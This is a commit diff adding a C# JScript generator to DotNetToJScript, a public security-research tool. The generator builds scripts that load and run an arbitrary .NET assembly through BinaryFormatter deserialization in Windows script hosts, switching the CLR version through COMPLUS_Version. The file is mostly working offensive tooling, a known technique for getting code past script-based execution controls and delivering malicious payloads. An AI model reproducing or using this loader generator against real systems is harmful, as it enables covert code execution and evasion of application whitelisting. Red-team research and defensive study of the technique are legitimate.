Added support for v4 framework only and made script generation more generic.

2026-06-08 17:59:42 +00:00 · 2017-05-16 13:57:04 +01:00
parent 05df0921cf
commit bf6601e546
7 changed files with 336 additions and 132 deletions
@@ -0,0 +1,127 @@
+//    This file is part of DotNetToJScript - A tool to generate a 
+//    JScript which bootstraps an arbitrary v2.NET Assembly and class.
+//    Copyright (C) James Forshaw 2017
+//
+//    DotNetToJScript is free software: you can redistribute it and/or modify
+//    it under the terms of the GNU General Public License as published by
+//    the Free Software Foundation, either version 3 of the License, or
+//    (at your option) any later version.
+//
+//    DotNetToJScript is distributed in the hope that it will be useful,
+//    but WITHOUT ANY WARRANTY; without even the implied warranty of
+//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+//    GNU General Public License for more details.
+//
+//    You should have received a copy of the GNU General Public License
+//    along with DotNetToJScript.  If not, see <http://www.gnu.org/licenses/>.
+
+using System;
+using System.Text;
+
+namespace DotNetToJScript
+{
+    class JScriptGenerator : IScriptGenerator
+    {
+        static string jscript_template =
+            @"var serialized_obj = [
+%SERIALIZED%
+];
+var entry_class = '%CLASS%';
+
+try {
+    setversion();
+    var stm = new ActiveXObject('System.IO.MemoryStream');
+    var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
+    var al = new ActiveXObject('System.Collections.ArrayList')
+
+    for (i in serialized_obj) {
+        stm.WriteByte(serialized_obj[i]);
+    }
+
+    stm.Position = 0;
+    var n = fmt.SurrogateSelector;
+    var d = fmt.Deserialize_2(stm);
+    al.Add(n);
+    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
+    %ADDEDSCRIPT%
+} catch (e) {
+    debug(e.message);
+}";
+
+        static string version_detection = @"function setversion() {
+  var shell = new ActiveXObject('WScript.Shell');
+  ver = 'v4.0.30319';
+  try {
+    shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
+  } catch(e) { 
+    ver = 'v2.0.50727';
+  }
+  shell.Environment('Process')('COMPLUS_Version') = ver;
+}";
+        static string version_v2 = @"function setversion() {
+  new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v2.0.50727';
+}";
+        static string version_v4 = @"function setversion() {
+  new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
+}";
+        static string version_none = @"function setversion() {}";
+
+        static string debug_enabled = @"function debug(s) { WScript.Echo(s); }" + Environment.NewLine;
+        static string debug_disabled = @"function debug(s) { }" + Environment.NewLine;
+
+        static string GetSetVersionJScript(RuntimeVersion version)
+        {
+            string script = version_none;
+            switch (version)
+            {
+                case RuntimeVersion.Auto:
+                    script = version_detection;
+                    break;
+                case RuntimeVersion.v2:
+                    script = version_v2;
+                    break;
+                case RuntimeVersion.v4:
+                    script = version_v4;
+                    break;
+            }
+            return script + Environment.NewLine;
+        }
+
+
+        public string ScriptName
+        {
+            get
+            {
+                return "JScript";
+            }
+        }
+
+        public bool SupportsScriptlet
+        {
+            get
+            {
+                return true;
+            }
+        }
+
+        public string GenerateScript(byte[] serialized_object, string entry_class_name, string additional_script, RuntimeVersion version, bool enable_debug)
+        {
+            StringBuilder builder = new StringBuilder();
+            for (int i = 0; i < serialized_object.Length; ++i)
+            {
+                builder.Append(serialized_object[i]);
+                if (i < serialized_object.Length - 1)
+                {
+                    builder.Append(",");
+                }
+                if (i > 0 && (i % 32) == 0)
+                {
+                    builder.AppendLine();
+                }
+            }
+            
+            return (enable_debug ? debug_enabled : debug_disabled) + GetSetVersionJScript(version) 
+                + jscript_template.Replace("%SERIALIZED%", builder.ToString()).Replace("%CLASS%", entry_class_name).Replace("%ADDEDSCRIPT%", additional_script);
+        }
+    }
+}